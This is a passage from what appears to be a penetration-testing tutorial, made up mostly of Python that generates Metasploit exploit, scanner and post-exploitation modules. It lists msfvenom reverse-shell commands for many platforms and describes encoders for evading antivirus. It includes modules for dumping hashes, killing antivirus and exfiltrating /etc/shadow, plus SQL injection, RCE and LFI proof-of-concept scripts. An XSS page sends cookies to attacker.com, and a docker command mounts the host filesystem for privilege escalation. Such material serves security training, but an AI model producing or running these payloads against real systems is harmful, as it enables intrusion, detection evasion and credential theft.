{options.get('description', 'Description here')}
}},
'Author' => {options.get('author', ['Your Name'])},
'License' => MSF_LICENSE,
'References' => {options.get('references', [])}
))
register_options(
[
Opt::RPORT({options.get('port', 80)}),
OptString.new('TARGETURI', [true, 'The target URI', '{options.get('uri', '/')}'])
])
end
def run_host(ip)
print_status("Scanning {{ip}}")
res = send_request_cgi({{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
}})
if res && res.code == 200
print_good("{{ip}} is accessible")
# Extract information
store_loot("target_info", "text/plain", ip, res.body)
end
end
end
'''
return template
def save_module(self, filename):
"""Save generated module to file"""
with open(filename, 'w') as f:
f.write(self.template)
print(f"[+] Module saved to {filename}")
# Example usage
generator = MSFModuleGenerator('example_exploit')
# Generate exploit module
options = {
'name': 'Example HTTP Exploit',
'description': 'This module exploits a buffer overflow in example app',
'author': ['John Doe'],
'references': [['CVE', '2024-1234']],
'platform': 'linux',
'targets': [['Linux Universal', {'Ret': 0x41414141}]],
'badchars': "\\x00\\x0a\\x0d",
'port': 8080,
'uri': '/vuln'
}
generator.template = generator.generate_exploit_module(options)
generator.save_module('example_exploit.rb')Payloads are the code that runs after successful exploitation.
#!/usr/bin/env python3
# msf_payloads.py
class MSFPayloads:
def __init__(self):
self.payload_types = {
'singles': 'Self-contained payloads that perform a specific task',
'stagers': 'Small payloads that download and execute the stage',
'stages': 'Larger payloads downloaded by stagers',
'inline': 'Payloads that run in the same process',
'meterpreter': 'Advanced multi-stage payload with extensive features'
}
self.payload_categories = {
'shell_bind_tcp': 'Binds a shell to a local port',
'shell_reverse_tcp': 'Connects back with a shell',
'meterpreter_bind_tcp': 'Meterpreter bind payload',
'meterpreter_reverse_tcp': 'Meterpreter reverse payload',
'vnc_inject': 'VNC server injection',
'windows_exec': 'Execute an arbitrary command',
'linux_exec': 'Execute an arbitrary command',
'add_user': 'Add a user to the system'
}
def explain_stagers(self):
"""Explain how stagers work"""
print("[+] Stager Workflow:")
print(" 1. Exploit triggers stager (small, ~200-400 bytes)")
print(" 2. Stager connects back to attacker")
print(" 3. Stager receives and executes stage")
print(" 4. Stage provides full functionality (Meterpreter)")
def generate_msfvenom_commands(self, lhost, lport):
"""Generate common msfvenom commands"""
commands = {
'linux_reverse_shell': f'msfvenom -p linux/x86/shell_reverse_tcp LHOST={lhost} LPORT={lport} -f elf -o shell.elf',
'windows_reverse_shell': f'msfvenom -p windows/shell_reverse_tcp LHOST={lhost} LPORT={lport} -f exe -o shell.exe',
'linux_meterpreter': f'msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f elf -o meterpreter.elf',
'windows_meterpreter': f'msfvenom -p windows/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f exe -o meterpreter.exe',
'php_reverse_shell': f'msfvenom -p php/reverse_php LHOST={lhost} LPORT={lport} -f raw -o shell.php',
'python_reverse_shell': f'msfvenom -p python/shell_reverse_tcp LHOST={lhost} LPORT={lport} -o shell.py',
'java_jsp_shell': f'msfvenom -p java/jsp_shell_reverse_tcp LHOST={lhost} LPORT={lport} -f raw -o shell.jsp',
'war_tomcat': f'msfvenom -p java/jsp_shell_reverse_tcp LHOST={lhost} LPORT={lport} -f war -o shell.war',
'apk_android': f'msfvenom -p android/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -o shell.apk',
'osx_reverse_shell': f'msfvenom -p osx/x86/shell_reverse_tcp LHOST={lhost} LPORT={lport} -f macho -o shell.macho'
}
return commands
def encode_payload(self, payload, encoder='x86/shikata_ga_nai', iterations=5):
"""Generate encoded payload command"""
cmd = f'msfvenom -p {payload} -e {encoder} -i {iterations} -f raw'
return cmd
def avoid_bad_chars(self, payload, bad_chars):
"""Generate command to avoid bad characters"""
bad_str = '\\x' + '\\x'.join([f'{b:02x}' for b in bad_chars])
cmd = f'msfvenom -p {payload} -b "{bad_str}" -f raw'
return cmd
def list_payloads(self, platform=None):
"""List available payloads"""
import subprocess
cmd = ['msfvenom', '--list', 'payloads']
if platform:
cmd.append('--platform')
cmd.append(platform)
try:
result = subprocess.run(cmd, capture_output=True, text=True)
return result.stdout
except:
return "msfvenom not found"
# Example usage
payloads = MSFPayloads()
payloads.explain_stagers()
commands = payloads.generate_msfvenom_commands('192.168.1.100', 4444)
for name, cmd in commands.items():
print(f"\n{name}:")
print(f" {cmd}")
# Generate encoded payload
encoded_cmd = payloads.encode_payload('windows/shell_reverse_tcp', 'x86/shikata_ga_nai', 5)
print(f"\nEncoded payload: {encoded_cmd}")Encoders transform payloads to avoid detection by signature-based AV and to remove bad characters.
#!/usr/bin/env python3
# msf_encoders.py
class MSFEncoders:
def __init__(self):
self.encoders = {
'x86/shikata_ga_nai': {
'type': 'Polymorphic XOR Additive Feedback',
'effectiveness': 'High',
'detection': 'Commonly detected by modern AV',
'use_case': 'General purpose, most popular'
},
'x86/jmp_call_additive': {
'type': 'JMP/CALL Additive',
'effectiveness': 'Medium',
'detection': 'Less common',
'use_case': 'When shikata is detected'
},
'x86/alpha_mixed': {
'type': 'Alphanumeric Mixed Case',
'effectiveness': 'Low-Medium',
'detection': 'Good for restricted charsets',
'use_case': 'When only alphanumeric chars allowed'
},
'x86/alpha_upper': {
'type': 'Alphanumeric Uppercase',
'effectiveness': 'Low',
'detection': 'Very restricted',
'use_case': 'When only uppercase letters allowed'
},
'x86/call4_dword_xor': {
'type': 'Call+4 DWORD XOR',
'effectiveness': 'Medium',
'detection': 'Older, sometimes bypasses',
'use_case': 'Legacy systems'
},
'x86/countdown': {
'type': 'Countdown XOR',
'effectiveness': 'Low',
'detection': 'Simple pattern',
'use_case': 'When size is critical'
},
'x86/fnstenv_mov': {
'type': 'Floating point env',
'effectiveness': 'Medium',
'detection': 'Unusual instructions',
'use_case': 'Bypassing certain emulators'
},
'x86/context_cpuid': {
'type': 'CPUID-based',
'effectiveness': 'High',
'detection': 'Anti-emulation',
'use_case': 'VM detection bypass'
}
}
def explain_multi_encoding(self):
"""Explain multi-encoder technique"""
print("[+] Multi-Encoder Technique:")
print(" 1. Apply encoder A (e.g., shikata_ga_nai)")
print(" 2. Apply encoder B (e.g., alpha_mixed)")
print(" 3. Result is encoded multiple times")
print("\n Command: msfvenom -p linux/x86/shell_reverse_tcp \\")
print(" -e x86/shikata_ga_nai -i 5 \\")
print(" -e x86/alpha_mixed -i 3 \\")
print(" -f raw")
def generate_encoder_command(self, payload, encoders, iterations):
"""Generate multi-encoder command"""
cmd = f'msfvenom -p {payload}'
for encoder in encoders:
cmd += f' -e {encoder} -i {iterations}'
cmd += ' -f raw'
return cmd
def test_encoder_effectiveness(self, payload, encoder, av_list):
"""Simulate encoder testing against AV (conceptual)"""
results = {}
for av in av_list:
# In reality, would test against actual AV
# This is just a simulation
import random
detection_rate = random.randint(0, 100)
results[av] = {
'detection_rate': detection_rate,
'bypass': detection_rate < 30
}
return results
# Example usage
encoders = MSFEncoders()
# List encoders
print("[+] Available Encoders:")
for name, info in encoders.encoders.items():
print(f"\n {name}:")
for key, value in info.items():
print(f" {key}: {value}")
# Generate multi-encoder command
cmd = encoders.generate_encoder_command(
'windows/shell_reverse_tcp',
['x86/shikata_ga_nai', 'x86/alpha_mixed'],
5
)
print(f"\n[+] Multi-encoder command: {cmd}")Post-exploitation modules run after successful exploitation to gather information, maintain access, or pivot.
#!/usr/bin/env python3
# msf_post_modules.py
class MSFPostModules:
def __init__(self):
self.post_categories = {
'gather': 'Information gathering (enumeration, credential harvesting)',
'manage': 'Session management (migrate, kill, etc.)',
'multi': 'Multi-platform modules',
'windows': 'Windows-specific post modules',
'linux': 'Linux-specific post modules',
'osx': 'OS X-specific post modules'
}
self.common_modules = {
'windows/gather/hashdump': 'Dump Windows password hashes',
'windows/gather/cachedump': 'Dump cached domain credentials',
'windows/gather/enum_logged_on_users': 'Enumerate logged-on users',
'windows/gather/enum_shares': 'Enumerate network shares',
'windows/manage/migrate': 'Migrate Meterpreter to another process',
'windows/manage/killav': 'Kill antivirus processes',
'linux/gather/hashdump': 'Dump Linux password hashes',
'linux/gather/enum_configs': 'Gather configuration files',
'linux/gather/enum_network': 'Enumerate network configuration',
'linux/gather/enum_system': 'Enumerate system information',
'multi/gather/ssh_creds': 'Gather SSH credentials',
'multi/gather/firefox_creds': 'Gather Firefox saved credentials',
'multi/gather/run_console_rc': 'Run resource script'
}
def explain_post_workflow(self):
"""Show post-exploitation workflow"""
print("[+] Post-Exploitation Workflow:")
steps = [
"1. Establish stable session",
"2. Gather system information (sysinfo)",
"3. Elevate privileges (getsystem)",
"4. Dump credentials (hashdump)",
"5. Enumerate network (arp, netstat)",
"6. Pivot to other hosts",
"7. Maintain access (persistence)",
"8. Clear tracks"
]
for step in steps:
print(f" {step}")
def run_post_module(self, session_id, module, options=None):
"""Simulate running a post module"""
print(f"[*] Running {module} on session {session_id}")
if options:
for opt, val in options.items():
print(f" {opt}: {val}")
# Simulate execution
print("[+] Module completed successfully")
def create_custom_post_module(self):
"""Generate custom post module template"""
template = '''
##
# Custom post-exploitation module
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Registry
def initialize(info={})
super(update_info(info,
'Name' => 'Custom Post Module',
'Description' => 'Custom post-exploitation module example',
'License' => MSF_LICENSE,
'Author' => ['Your Name'],
'Platform' => ['win', 'linux'],
'SessionTypes' => ['meterpreter', 'shell']
))
register_options([
OptString.new('FILE', [true, 'File to download', '/etc/passwd'])
])
end
def run
print_status("Running custom post module...")
# Download file
file_content = read_file(datastore['FILE'])
if file_content
print_good("File downloaded successfully")
# Save to loot
loot_path = store_loot(
"target.file",
"text/plain",
session,
file_content,
"target_file.txt"
)
print_good("File saved to: #{loot_path}")
else
print_error("Failed to download file")
end
end
end
'''
return template
# Example usage
post = MSFPostModules()
post.explain_post_workflow()
print("\n[+] Common Post Modules:")
for module, desc in post.common_modules.items():
print(f" {module}: {desc}")
# Generate custom module template
custom_module = post.create_custom_post_module()
print("\n[+] Custom Post Module Template:")
print(custom_module)Creating custom modules extends Metasploit's functionality for specific targets.
#!/usr/bin/env python3
# msf_custom_module.py
class CustomModuleGenerator:
def __init__(self, module_name, module_type):
self.name = module_name
self.type = module_type
self.module_code = ""
def generate_exploit(self, target_info):
"""Generate custom exploit module"""
template = f'''
##
# Custom exploit for {target_info.get('name', 'Unknown Target')}
##
class MetasploitModule < Msf::Exploit::Remote
Rank = {target_info.get('rank', 'NormalRanking')}
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {{}})
super(update_info(info,
'Name' => '{target_info.get('name', self.name)}',
'Description' => %q{{
{target_info.get('description', 'Description here')}
}},
'Author' => {target_info.get('author', ['Your Name'])},
'License' => MSF_LICENSE,
'References' => {target_info.get('references', [])},
'Platform' => '{target_info.get('platform', 'win')}',
'Targets' => [
{', '.join([f"['{t}', {{'Ret': {ret}}}]" for t, ret in target_info.get('targets', {}).items()])}
],
'Payload' => {{
'BadChars' => {target_info.get('badchars', '')}
}},
'DisclosureDate' => '{target_info.get('date', '2024-01-01')}'
))
register_options([
Opt::RPORT({target_info.get('port', 80)}),
OptString.new('TARGETURI', [true, 'Path to vulnerable endpoint', '{target_info.get('path', '/')}'])
])
end
def check
# Check if target is vulnerable
res = send_request_cgi({{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
}})
if res && res.code == 200 && res.body =~ /{target_info.get('banner', 'vulnerable')}/
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
print_status("Target: {{rhost}}:{{rport}}")
# Build exploit buffer
buffer = rand_text_alpha({target_info.get('offset', 1024)})
buffer << [target.ret].pack('V')
buffer << make_nops({target_info.get('nop_sled', 16)})
buffer << payload.encoded
# Send exploit
res = send_request_cgi({{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'data' => buffer
}})
if res
print_status("Server responded with code: {{res.code}}")
else
print_error("No response from target")
end
handler
end
end
'''
self.module_code = template
return template
def generate_auxiliary(self, target_info):
"""Generate custom auxiliary module"""
template = f'''
##
# Custom auxiliary module for {target_info.get('name', 'Unknown Target')}
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {{}})
super(update_info(info,
'Name' => '{target_info.get('name', self.name)}',
'Description' => %q{{
{target_info.get('description', 'Description here')}
}},
'Author' => {target_info.get('author', ['Your Name'])},
'License' => MSF_LICENSE,
'References' => {target_info.get('references', [])}
))
register_options([
Opt::RPORT({target_info.get('port', 80)}),
OptString.new('TARGETURI', [true, 'Path to scan', '{target_info.get('path', '/')}'])
])
end
def run_host(ip)
print_status("Scanning {{ip}}")
res = send_request_cgi({{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
}})
if res
print_good("{{ip}}:{{rport}} - Response received")
# Extract information
info = {{
'ip' => ip,
'port' => rport,
'headers' => res.headers.to_s,
'body_length' => res.body.length
}}
# Report the service
report_service(
host: ip,
port: rport,
name: 'http',
info: res.headers['Server']
)
# Store data
report_note(
host: ip,
port: rport,
type: 'http.info',
data: info
)
end
end
end
'''
self.module_code = template
return template
def generate_post(self, target_info):
"""Generate custom post-exploitation module"""
template = f'''
##
# Custom post module for {target_info.get('name', 'Unknown Target')}
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Registry
include Msf::Post::Common
def initialize(info = {{}})
super(update_info(info,
'Name' => '{target_info.get('name', self.name)}',
'Description' => %q{{
{target_info.get('description', 'Description here')}
}},
'License' => MSF_LICENSE,
'Author' => {target_info.get('author', ['Your Name'])},
'Platform' => {target_info.get('platforms', ['win', 'linux'])},
'SessionTypes' => {target_info.get('session_types', ['meterpreter', 'shell'])}
))
register_options([
OptString.new('FILE', [true, 'File to download', '{target_info.get('file', '/etc/passwd')}'])
])
end
def run
print_status("Running custom post module on session {{session.sid}}")
# Get system info
if session.type == 'meterpreter'
sysinfo = session.sys.config.sysinfo
print_status("Target OS: {{sysinfo['OS']}}")
else
print_status("Shell session, limited functionality")
end
# Download file
file_path = datastore['FILE']
print_status("Attempting to download: {{file_path}}")
if file?(file_path)
data = read_file(file_path)
if data
loot_path = store_loot(
"target.file",
"application/octet-stream",
session,
data,
File.basename(file_path)
)
print_good("File saved to: {{loot_path}}")
else
print_error("Failed to read file")
end
else
print_error("File does not exist")
end
end
def file?(path)
if session.type == 'meterpreter'
return session.fs.file.stat(path) rescue false
else
# For shell sessions, try to test file existence
test_cmd = session.platform == 'windows' ? "if exist #{path} echo exists" : "test -f #{path} && echo exists"
result = cmd_exec(test_cmd)
return result.include?('exists')
end
end
def read_file(path)
if session.type == 'meterpreter'
begin
fd = session.fs.file.new(path, 'rb')
data = fd.read
fd.close
return data
rescue
return nil
end
else
# For shell sessions, use cat or type
read_cmd = session.platform == 'windows' ? "type #{path}" : "cat #{path}"
return cmd_exec(read_cmd)
end
end
end
'''
self.module_code = template
return template
def validate_module(self):
"""Basic module validation"""
checks = {
'has_class': 'class MetasploitModule' in self.module_code,
'has_initialize': 'def initialize' in self.module_code,
'has_run' or 'has_exploit': ('def run' in self.module_code or 'def exploit' in self.module_code),
'includes_msf': 'include Msf::' in self.module_code
}
passed = all(checks.values())
failed = [check for check, passed in checks.items() if not passed]
return {
'valid': passed,
'checks': checks,
'failed': failed
}
def save_module(self, filename):
"""Save module to file"""
with open(filename, 'w') as f:
f.write(self.module_code)
print(f"[+] Module saved to {filename}")
# Validate
validation = self.validate_module()
if validation['valid']:
print("[+] Module validation passed")
else:
print(f"[-] Module validation failed: {validation['failed']}")
# Example usage
generator = CustomModuleGenerator('custom_exploit', 'exploit')
# Generate exploit module
target_info = {
'name': 'Custom Application Exploit',
'description': 'This module exploits a buffer overflow in CustomApp',
'author': ['Security Researcher'],
'references': [['CVE', '2024-1234']],
'platform': 'windows',
'targets': {'Windows 10': '0x41414141', 'Windows 7': '0x42424242'},
'badchars': '\\x00\\x0a\\x0d',
'port': 8080,
'path': '/vuln',
'banner': 'CustomApp',
'offset': 256,
'nop_sled': 32,
'rank': 'GoodRanking',
'date': '2024-01-15'
}
generator.generate_exploit(target_info)
generator.save_module('custom_exploit.rb')
# Generate auxiliary module
aux_info = {
'name': 'Custom Service Scanner',
'description': 'Scans for CustomApp instances',
'author': ['Security Researcher'],
'port': 8080,
'path': '/'
}
generator.generate_auxiliary(aux_info)
generator.save_module('custom_scanner.rb')
# Generate post module
post_info = {
'name': 'Custom Data Exfiltrator',
'description': 'Exfiltrates sensitive data from target',
'author': ['Security Researcher'],
'platforms': ['win', 'linux'],
'session_types': ['meterpreter', 'shell'],
'file': '/etc/shadow'
}
generator.generate_post(post_info)
generator.save_module('custom_post.rb')While automated tools are powerful, manual exploitation techniques are essential for complex or unique scenarios.
Finding and understanding vulnerabilities is the first step in manual exploitation.
#!/usr/bin/env python3
# exploit_research.py
class ExploitResearch:
def __init__(self, target_info):
self.target = target_info
self.sources = {
'cve': 'https://cve.mitre.org/',
'nvd': 'https://nvd.nist.gov/',
'exploitdb': 'https://www.exploit-db.com/',
'packetstorm': 'https://packetstormsecurity.com/',
'seclists': 'https://seclists.org/',
'github': 'https://github.com/search?q=',
'twitter': 'https://twitter.com/search?q=',
'reddit': 'https://www.reddit.com/r/netsec/search?q='
}
def search_cve(self, software, version):
"""Search for CVEs related to software/version"""
import requests
from bs4 import BeautifulSoup
print(f"[*] Searching for CVEs in {software} {version}")
# Search NVD
url = f"https://nvd.nist.gov/vuln/search/results?form_type=Basic&results_type=overview&query={software}+{version}&search_type=all"
try:
response = requests.get(url)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
# Extract CVE entries
cves = []
for link in soup.find_all('a'):
href = link.get('href', '')
if '/vuln/detail/CVE-' in href:
cve_id = href.split('/')[-1]
if cve_id not in cves:
cves.append(cve_id)
return cves[:10] # Return first 10
except:
pass
return []
def search_exploitdb(self, cve_id):
"""Search Exploit-DB for specific CVE"""
url = f"https://www.exploit-db.com/search?cve={cve_id}"
print(f"[*] Searching Exploit-DB for {cve_id}")
# In practice, would parse results
# For now, return search URL
return url
def analyze_exploit(self, exploit_code):
"""Analyze exploit code for understanding"""
analysis = {
'language': None,
'type': None,
'requirements': [],
'limitations': []
}
# Simple language detection
if 'import' in exploit_code and ('def ' in exploit_code or 'class ' in exploit_code):
analysis['language'] = 'Python'
elif 'include <' in exploit_code:
analysis['language'] = 'C/C++'
elif '<?php' in exploit_code:
analysis['language'] = 'PHP'
elif '#!/usr/bin/perl' in exploit_code:
analysis['language'] = 'Perl'
elif '#!/usr/bin/ruby' in exploit_code:
analysis['language'] = 'Ruby'
elif 'msfvenom' in exploit_code:
analysis['language'] = 'Metasploit'
# Detect exploit type
if 'buffer overflow' in exploit_code.lower():
analysis['type'] = 'Buffer Overflow'
elif 'sql' in exploit_code.lower() and 'injection' in exploit_code.lower():
analysis['type'] = 'SQL Injection'
elif 'xss' in exploit_code.lower():
analysis['type'] = 'XSS'
elif 'csrf' in exploit_code.lower():
analysis['type'] = 'CSRF'
elif 'file upload' in exploit_code.lower():
analysis['type'] = 'File Upload'
# Extract requirements
import re
# Look for IP/port specifications
ip_pattern = r'(\d{1,3}\.){3}\d{1,3}'
if re.search(ip_pattern, exploit_code):
analysis['requirements'].append('Specific IP address in code - may need modification')
# Look for port numbers
port_pattern = r'port\s*=\s*(\d+)'
ports = re.findall(port_pattern, exploit_code.lower())
if ports:
analysis['requirements'].append(f'Uses port(s): {", ".join(ports)}')
# Look for dependencies
if 'requests' in exploit_code:
analysis['requirements'].append('Python requests library')
if 'socket' in exploit_code:
analysis['requirements'].append('Python socket library')
return analysis
def adapt_exploit(self, original_exploit, target_info):
"""Adapt exploit to specific target"""
adapted = original_exploit
# Replace IP addresses
import re
ip_pattern = r'(\d{1,3}\.){3}\d{1,3}'
if 'target_ip' in target_info:
adapted = re.sub(ip_pattern, target_info['target_ip'], adapted)
# Replace ports
port_pattern = r'port\s*=\s*(\d+)'
if 'target_port' in target_info:
def replace_port(match):
return f'port = {target_info["target_port"]}'
adapted = re.sub(port_pattern, replace_port, adapted, flags=re.IGNORECASE)
# Replace paths
if 'target_path' in target_info:
adapted = adapted.replace('/vuln', target_info['target_path'])
adapted = adapted.replace('/index.php', target_info['target_path'])
return adapted
def create_exploit_workspace(self, cve_id):
"""Create organized workspace for exploit development"""
import os
from datetime import datetime
workspace = f"exploit_{cve_id}_{datetime.now().strftime('%Y%m%d')}"
os.makedirs(workspace, exist_ok=True)
# Create subdirectories
os.makedirs(f"{workspace}/exploits", exist_ok=True)
os.makedirs(f"{workspace}/notes", exist_ok=True)
os.makedirs(f"{workspace}/payloads", exist_ok=True)
os.makedirs(f"{workspace}/results", exist_ok=True)
# Create README
with open(f"{workspace}/README.md", 'w') as f:
f.write(f"# Exploit Research: {cve_id}\n\n")
f.write(f"Created: {datetime.now()}\n\n")
f.write("## Target Information\n\n")
f.write("- Software: \n")
f.write("- Version: \n")
f.write("- Affected Component: \n\n")
f.write("## Vulnerability Details\n\n")
f.write("- Type: \n")
f.write("- CVSS Score: \n")
f.write("- Description: \n\n")
f.write("## Exploitation Notes\n\n")
f.write("- Requirements: \n")
f.write("- Steps: \n")
f.write("- Payload: \n\n")
f.write("## Results\n\n")
f.write("- Success: \n")
f.write("- Notes: \n")
return workspace
# Example usage
research = ExploitResearch({
'software': 'Apache',
'version': '2.4.49',
'target_ip': '192.168.1.100',
'target_port': 80,
'target_path': '/cgi-bin'
})
# Search for CVEs
cves = research.search_cve('Apache', '2.4.49')
print(f"[+] Found CVEs: {cves}")
if cves:
# Search Exploit-DB
url = research.search_exploitdb(cves[0])
print(f"[+] Search URL: {url}")
# Create workspace
workspace = research.create_exploit_workspace(cves[0])
print(f"[+] Workspace created: {workspace}")Reproducing known vulnerabilities is a critical skill for penetration testers.
#!/usr/bin/env python3
# cve_reproduction.py
import subprocess
import os
import json
import time
class CVEReproducer:
def __init__(self, cve_id):
self.cve_id = cve_id
self.info = {}
self.test_environment = None
def get_cve_info(self):
"""Fetch CVE information from NVD"""
import requests
url = f"https://services.nvd.nist.gov/rest/json/cve/1.0/{self.cve_id}"
try:
response = requests.get(url)
if response.status_code == 200:
data = response.json()
# Extract relevant information
cve_item = data['result']['CVE_Items'][0]
self.info = {
'id': self.cve_id,
'description': cve_item['cve']['description']['description_data'][0]['value'],
'published': cve_item['publishedDate'],
'last_modified': cve_item['lastModifiedDate'],
'cvss_score': None,
'cvss_vector': None,
'references': []
}
# Extract CVSS score
if 'impact' in cve_item:
if 'baseMetricV3' in cve_item['impact']:
self.info['cvss_score'] = cve_item['impact']['baseMetricV3']['cvssV3']['baseScore']
self.info['cvss_vector'] = cve_item['impact']['baseMetricV3']['cvssV3']['vectorString']
elif 'baseMetricV2' in cve_item['impact']:
self.info['cvss_score'] = cve_item['impact']['baseMetricV2']['cvssV2']['baseScore']
# Extract references
for ref in cve_item['cve']['references']['reference_data']:
self.info['references'].append(ref['url'])
except Exception as e:
print(f"[-] Error fetching CVE info: {e}")
return self.info
def setup_test_environment(self, target_info):
"""Setup isolated test environment"""
import tempfile
import shutil
self.test_environment = tempfile.mkdtemp()
print(f"[*] Setting up test environment in {self.test_environment}")
# Copy target application
if 'binary_path' in target_info:
shutil.copy(target_info['binary_path'], self.test_environment)
# Create configuration
if 'config' in target_info:
with open(f"{self.test_environment}/config.json", 'w') as f:
json.dump(target_info['config'], f)
# Create test script
test_script = f"""#!/bin/bash
# Test script for {self.cve_id}
cd {self.test_environment}
echo "Running test..."
"""
with open(f"{self.test_environment}/test.sh", 'w') as f:
f.write(test_script)
os.chmod(f"{self.test_environment}/test.sh", 0o755)
return self.test_environment
def download_exploit(self, source='exploitdb'):
"""Download exploit from various sources"""
if source == 'exploitdb':
# Search Exploit-DB for CVE
import requests
from bs4 import BeautifulSoup
search_url = f"https://www.exploit-db.com/search?cve={self.cve_id}"
try:
response = requests.get(search_url)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
# Find exploit links
exploits = []
for link in soup.find_all('a', href=True):
if '/exploits/' in link['href']:
exploit_id = link['href'].split('/')[-1]
exploits.append({
'id': exploit_id,
'url': f"https://www.exploit-db.com/download/{exploit_id}"
})
return exploits
except:
pass
return []
def test_exploit(self, exploit_path, target_params):
"""Test exploit against test environment"""
print(f"[*] Testing exploit: {exploit_path}")
# Determine exploit type
if exploit_path.endswith('.py'):
cmd = ['python3', exploit_path]
elif exploit_path.endswith('.rb'):
cmd = ['ruby', exploit_path]
elif exploit_path.endswith('.pl'):
cmd = ['perl', exploit_path]
elif exploit_path.endswith('.sh'):
cmd = ['bash', exploit_path]
elif exploit_path.endswith('.php'):
cmd = ['php', exploit_path]
else:
cmd = [exploit_path]
# Add target parameters
for key, value in target_params.items():
cmd.append(f"--{key}")
cmd.append(str(value))
# Run exploit
try:
start_time = time.time()
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=30,
cwd=self.test_environment
)
elapsed = time.time() - start_time
return {
'success': result.returncode == 0,
'stdout': result.stdout,
'stderr': result.stderr,
'returncode': result.returncode,
'elapsed': elapsed
}
except subprocess.TimeoutExpired:
return {
'success': False,
'error': 'Timeout',
'elapsed': 30
}
except Exception as e:
return {
'success': False,
'error': str(e)
}
def create_poc(self, vulnerability_type, target):
"""Create proof of concept for vulnerability"""
poc_templates = {
'sqli': self.create_sqli_poc,
'xss': self.create_xss_poc,
'rce': self.create_rce_poc,
'lfi': self.create_lfi_poc
}
if vulnerability_type in poc_templates:
return poc_templates[vulnerability_type](target)
else:
return "# PoC not available for this type"
def create_sqli_poc(self, target):
"""Create SQL injection PoC"""
poc = f'''#!/usr/bin/env python3
# SQL Injection PoC for {self.cve_id}
import requests
import sys
def test_sqli(url, param):
"""Test SQL injection vulnerability"""
# Test payloads
payloads = [
"' OR '1'='1",
"' OR 1=1--",
"admin'--",
"' UNION SELECT 1,2,3--"
]
print(f"Testing {{url}} with parameter {{param}}")
for payload in payloads:
params = {{param: payload}}
try:
response = requests.get(url, params=params, timeout=5)
if "error" not in response.text.lower():
print(f"[+] Possible injection with: {{payload}}")
print(f" Response length: {{len(response.text)}}")
else:
print(f"[-] No injection with: {{payload}}")
except Exception as e:
print(f"Error: {{e}}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {{sys.argv[0]}} <url> [param]")
sys.exit(1)
url = sys.argv[1]
param = sys.argv[2] if len(sys.argv) > 2 else "id"
test_sqli(url, param)
'''
return poc
def create_xss_poc(self, target):
"""Create XSS PoC"""
poc = f'''<!DOCTYPE html>
<html>
<head>
<title>XSS PoC - {self.cve_id}</title>
</head>
<body>
<h1>XSS Proof of Concept</h1>
<p>This page demonstrates the XSS vulnerability</p>
<div id="vulnerable"></div>
<script>
// XSS payload
var payload = '<img src=x onerror=alert("XSS")>';
// Inject into vulnerable element
document.getElementById('vulnerable').innerHTML = payload;
// Alternative: steal cookies
function stealCookies() {{
var img = new Image();
img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
}}
</script>
<p>If you see an alert box, the vulnerability exists.</p>
</body>
</html>
'''
return poc
def create_rce_poc(self, target):
"""Create RCE PoC"""
poc = f'''#!/usr/bin/env python3
# RCE PoC for {self.cve_id}
import requests
import sys
import urllib.parse
def exploit(target_url, command):
"""Execute command on target"""
# Adjust based on vulnerability
payload = {{'cmd': command}}
try:
response = requests.get(target_url, params=payload, timeout=10)
if response.status_code == 200:
print("[+] Command executed successfully")
print("Output:")
print(response.text)
else:
print(f"[-] Failed with status code: {{response.status_code}}")
except Exception as e:
print(f"Error: {{e}}")
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {{sys.argv[0]}} <url> <command>")
sys.exit(1)
url = sys.argv[1]
cmd = sys.argv[2]
exploit(url, cmd)
'''
return poc
def create_lfi_poc(self, target):
"""Create LFI PoC"""
poc = f'''#!/usr/bin/env python3
# LFI PoC for {self.cve_id}
import requests
import sys
def test_lfi(base_url, param):
"""Test LFI vulnerability"""
files = [
'/etc/passwd',
'/etc/hosts',
'/etc/issue',
'/var/log/apache2/access.log',
'../../../../etc/passwd',
'....//....//....//etc/passwd',
'php://filter/convert.base64-encode/resource=index.php'
]
print(f"Testing LFI on {{base_url}}")
for file_path in files:
params = {{param: file_path}}
try:
response = requests.get(base_url, params=params, timeout=5)
if response.status_code == 200:
if "root:" in response.text or "<?php" in response.text:
print(f"[+] LFI found with: {{file_path}}")
print(f" First 200 chars:")
print(f" {{response.text[:200]}}")
else:
print(f"[-] No LFI with: {{file_path}}")
except Exception as e:
print(f"Error with {{file_path}}: {{e}}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {{sys.argv[0]}} <url> [param]")
sys.exit(1)
url = sys.argv[1]
param = sys.argv[2] if len(sys.argv) > 2 else "file"
test_lfi(url, param)
'''
return poc
# Example usage
reproducer = CVEReproducer('CVE-2021-41773')
# Get CVE info
info = reproducer.get_cve_info()
print(json.dumps(info, indent=2))
# Create PoC
poc = reproducer.create_poc('rce', {'target': 'localhost'})
print("\n[+] Generated PoC:")
print(poc) def check_groups(self):
"""Check group memberships for privilege escalation vectors"""
print("\n[*] Checking group memberships...")
dangerous_groups = {
'docker': 'Can mount host filesystem: docker run -v /:/host -it alpine chroot /host',
'lxd': 'Can access host filesystem: lxd init && lxc launch ubuntu:18.04 -c security.privileged=true',
'disk': 'Can access raw disk devices: debugfs /dev/sda1',
'video': 'Can access frame buffer (keylogging)',
'audio': 'Can record audio',
'adm': 'Can read log files: /var/log/auth.log',
'wheel': 'Can sudo',
'sudo': 'Can sudo',
'root': 'Already root!'
}
try:
# Get current user's groups
user = os.getenv('USER')
